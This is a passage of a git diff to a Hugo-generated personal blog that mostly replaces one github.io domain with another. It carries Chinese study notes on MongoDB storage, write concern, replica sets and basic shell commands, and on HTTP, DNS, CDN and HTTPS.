accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>MongoDB学习笔记</h1><div class=post-meta><span title='2021-08-08 14:20:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/MongoDB%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）</p><p>MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）</p><p>关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server</p><p>而非关系型数据库不使用SQL作为查询，不需要遵循ACID（Atomicity Consistency Insolation Durability）</p><p>基于json有个好处就是不需要额外对数据进行转换（例如sql，在调用其数据时需要进行数据的转换）</p><p>MongoDB使用了WiredTiger存储引擎（3.2+版本开始为默认引擎），利用可用内存来缓存数据，来提供优秀的读取性能，该引擎使用WiredTiger内部缓存和文件系统缓存这俩种缓存</p><p>WiredTiger提供了内存快照，而且每隔60秒（创建检查点）就将内存快照写入磁盘（数据持久化，而且持久化的数据还可以作为校验，确保数据在最后一个检查点是一致的，而且旧检查点可以作为有效检查点恢复因为写入新检查点时的错误而且重启导致丢失的数据）</p><p>对于60秒内的数据丢失，WiredTiger采用了Journal机制（WAL预写日志）来提供断电保护，Journal每隔100ms刷新日志，数据被存储在Journal文件（发生断电情况，可通过Journal文件根据记录追加数据），Journal机制会保留检查点之间保留所有数据修改</p><p>而且不用担心100ms以内的数据丢失，因为MongoDB提供了其特有的写入安全机制（Write Concern），默认使用Acknowledged安全策略，该策略在每次写入操作时确认状态，这个状态取决于内存的写入（不保证数据不丢失）</p><p>Journaled策略要求每一次写入操作必须在journal落盘后（确保数据不丢失，吞吐和响应会有影响），该策略会确认落盘后等待30ms，将30ms内的全部写入操作统一按照顺序写入盘中</p><p>majority副本集策略要求只有当数据被复制到绝大多数节点（包括主节点）后才应答（适合集群）</p><p>Write Concern用法</p><p>例如：</p><p>db.test.insert({&ldquo;name&rdquo;:&ldquo;hallo&rdquo;},{writeConcern:{w:1}})</p><p>w有这几个常用值，分别为0（非应答式写入），1（应答式写入），>1（设置副本写入节点数量），majority(表示majority副本集策略)</p><p>而且还提供了wtimeout参数来限制节点写入时间（超过该时间，报错，只适用集群环境，单位ms）</p><p>j参数是用来开启写入操作必须在写入journal日志后响应（Journaled策略，参数值为布尔值）</p><p>MongoDB有三种集群部署架构，主从，副本集，分片</p><p>一个副本集架构由一个主节点和多个副本节点组成，个主节点和多个副本节点的数据同步基于oplog，当主节点发生故障，副本节点会自动选择一个新的主节点来继续工作</p><p>在分片架构上，数据均衡分布在每一个节点上（负载均衡），可通过增加或者减少分片来实现按需扩展，</p><hr><p>简单使用MongoDB数据库</p><p>mongod.conf文件是MongoDB数据库配置文件</p><p>启动数据库（没有该数据库则创建数据库）</p><p>mongod &ndash;dbpath D:\mongodb</p><p>默认端口为27017</p><p>启动服务</p><p>net start mongodb</p><p>连接数据库</p><p>mongo &ndash;port 27017</p><p>切换数据库（没有该数据库就会创建）</p><p>use demo</p><p>查看全部数据库</p><p>show dbs</p><p>注意：默认数据库为test，没有创建新数据库，那么就存储在test数据库中</p><p>删除数据库（当前数据库）</p><p>db.dropDatabase()</p><p>创建集合（类似于MySQL中的表）</p><p>db.createCollection(&ldquo;hallo&rdquo;)</p><p>插入数据（插入到test集合中，当该集合不存在时，将自动创建该集合）</p><p>db.test.insert({&ldquo;name&rdquo;:&ldquo;hallo&rdquo;})</p><p>查看当前已有集合</p><p>show collections</p><p>或者</p><p>show tables</p><p>db.createCollection(&ldquo;test&rdquo;, { capped : true, autoIndexId : true, size : 102400, max : 10000 } )</p><p>整个集合空间大小102400B, 文档最大个数为10000个</p><p>删除集合（删除test集合）</p><p>db.test.drop()</p><p>插入数据（数据结构和json一样）</p><p>db.test.insert() // 当数据主键已存在，抛出错误</p><pre><code>db.test.insert({
     title: &quot;小陈的辣鸡屋&quot;, 
     description: &quot;小陈辣鸡屋&quot;,
     by: &quot;小陈的辣鸡屋&quot;,
@@ -238,8 +238,8 @@
         host: '196.168.1.4:27017'
     }]
 })
-</code></pre><p>验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常</p><hr><p>分片集群架构</p><p>&ndash;</p><p>数据模型设计</p><p>数据模型是由一组符号，文本组成的集合，用来表达信息</p><p>组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）</p><p>传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）</p><p>JSON文档模型设计（通过字段或者集合来表示关系）</p><hr><p>事务开发</p><p>mongodb提供了事务来保证数据不丢失</p><p>写入操作事务</p><p>writConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功</p><p>注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止</p><p>journal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功</p><p>db.test.insert({count: 1}, {writConcern: {w: &ldquo;majority&rdquo;})</p><p>读取操作事务</p><p>readPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）</p><p>在连接时设置</p><p>mongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs&amp;readPreference=nearest</p><p>或者在mongo shell设置</p><p>db.collection.find({}).readPref(&rsquo;nearest&rsquo;)</p><p>readConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）</p><p>mongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除</p><p>安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全</p><p>事务的ACID：原子性，一致性，隔离性，持久性</p><p>事务完成之前，事务外的操作对该事务的修改不可访问</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/mongodb/>MongoDB</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/77/><span class=title>« Prev</span><br><span>简单认识HTTP协议</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/74/><span class=title>Next »</span><br><span>NextJS学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>验证副本集是否工作：在主节点上写入，然后在副节点上读，如果读到则表示工作正常</p><hr><p>分片集群架构</p><p>&ndash;</p><p>数据模型设计</p><p>数据模型是由一组符号，文本组成的集合，用来表达信息</p><p>组成一个数据模型的元素有实体（Entity），属性（Attribute），以及关系（Relationship）</p><p>传统的模型设计：概念模型（CDM），逻辑模型（LDM），物理模型（PDM）</p><p>JSON文档模型设计（通过字段或者集合来表示关系）</p><hr><p>事务开发</p><p>mongodb提供了事务来保证数据不丢失</p><p>写入操作事务</p><p>writConcern决定一个写入操作落到多少个节点才算成功，取值为0时表示不关心，1至集群max节点数表示写入操作被复制到指定节点数才算成功，majority表示写入操作被复制到大多数节点才算成功，all表示全部节点都被写入时认定成功</p><p>注意：当设置非0的值时，发起写入操作将导致阻塞，一直到认为成功为止</p><p>journal决定这个节点写入操作如何才算成功，true表示写入操作落到journal文件中时认定成功，false表示写入操作落到内存时就认定成功</p><p>db.test.insert({count: 1}, {writConcern: {w: &ldquo;majority&rdquo;})</p><p>读取操作事务</p><p>readPreference决定数据从哪个节点读，primary表示只选择主节点读，primaryPreferred表示优先选择主节点，如果不可用则选择副节点，secondary表示只选择副节点，secondaryPreferred表示优先选择副节点，如果副节点不可用，则选择主节点，nearest表示选择最近的节点（通过ping延迟来选择最近）</p><p>在连接时设置</p><p>mongodb://196.168.1.2:27017,196.168.1.3:27017,196.168.1.4:27017/?replicaSet=rs&amp;readPreference=nearest</p><p>或者在mongo shell设置</p><p>db.collection.find({}).readPref(&rsquo;nearest&rsquo;)</p><p>readConcern决定什么数据可以读，available表示读取全部可用数据，local表示全部可用并且熟悉当前分片的数据，majority表示读取在大多数节点上完成的数据，linearizable表示可线性化读取（只读取大多数节点确认的数据（会等待其他节点去更新，最后读取最新的数据，比majority更安全，但是读取数据时很慢，需要等待节点更新）），snapshot表示读取最近快照中的数据（只读同一个快照下的数据）</p><p>mongodb通过维护快照来链接不同版本的数据（MVCC机制），被大多数节点确认过的版本都是快照，快照一直持续没有被使用才会被删除</p><p>安全的读写分离：搭配writConcern和readConcern，writConcern和readConcern都设置为majority，表示数据写入安全和数据读取安全</p><p>事务的ACID：原子性，一致性，隔离性，持久性</p><p>事务完成之前，事务外的操作对该事务的修改不可访问</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/mongodb/>MongoDB</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/77/><span class=title>« Prev</span><br><span>简单认识HTTP协议</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/74/><span class=title>Next »</span><br><span>NextJS学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/77/index.html b/posts/77/index.html
index e52fd1a4..bf55936e 100644
--- a/posts/77/index.html
+++ b/posts/77/index.html
@@ -56,8 +56,8 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/77/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单认识HTTP协议"><meta property="og:description" content="HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/77/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单认识HTTP协议"><meta property="og:description" content="HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -115,7 +115,7 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/77/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T17:02:00+00:00"><meta property="article:modified_time" content="2021-08-08T17:02:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单认识HTTP协议"><meta name=twitter:description content="HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/77/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T17:02:00+00:00"><meta property="article:modified_time" content="2021-08-08T17:02:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单认识HTTP协议"><meta name=twitter:description content="HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -173,7 +173,7 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单认识HTTP协议","item":"https://xiaochenabc123.github.io/posts/77/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单认识HTTP协议","name":"简单认识HTTP协议","description":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误","keywords":["http"],"articleBody":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 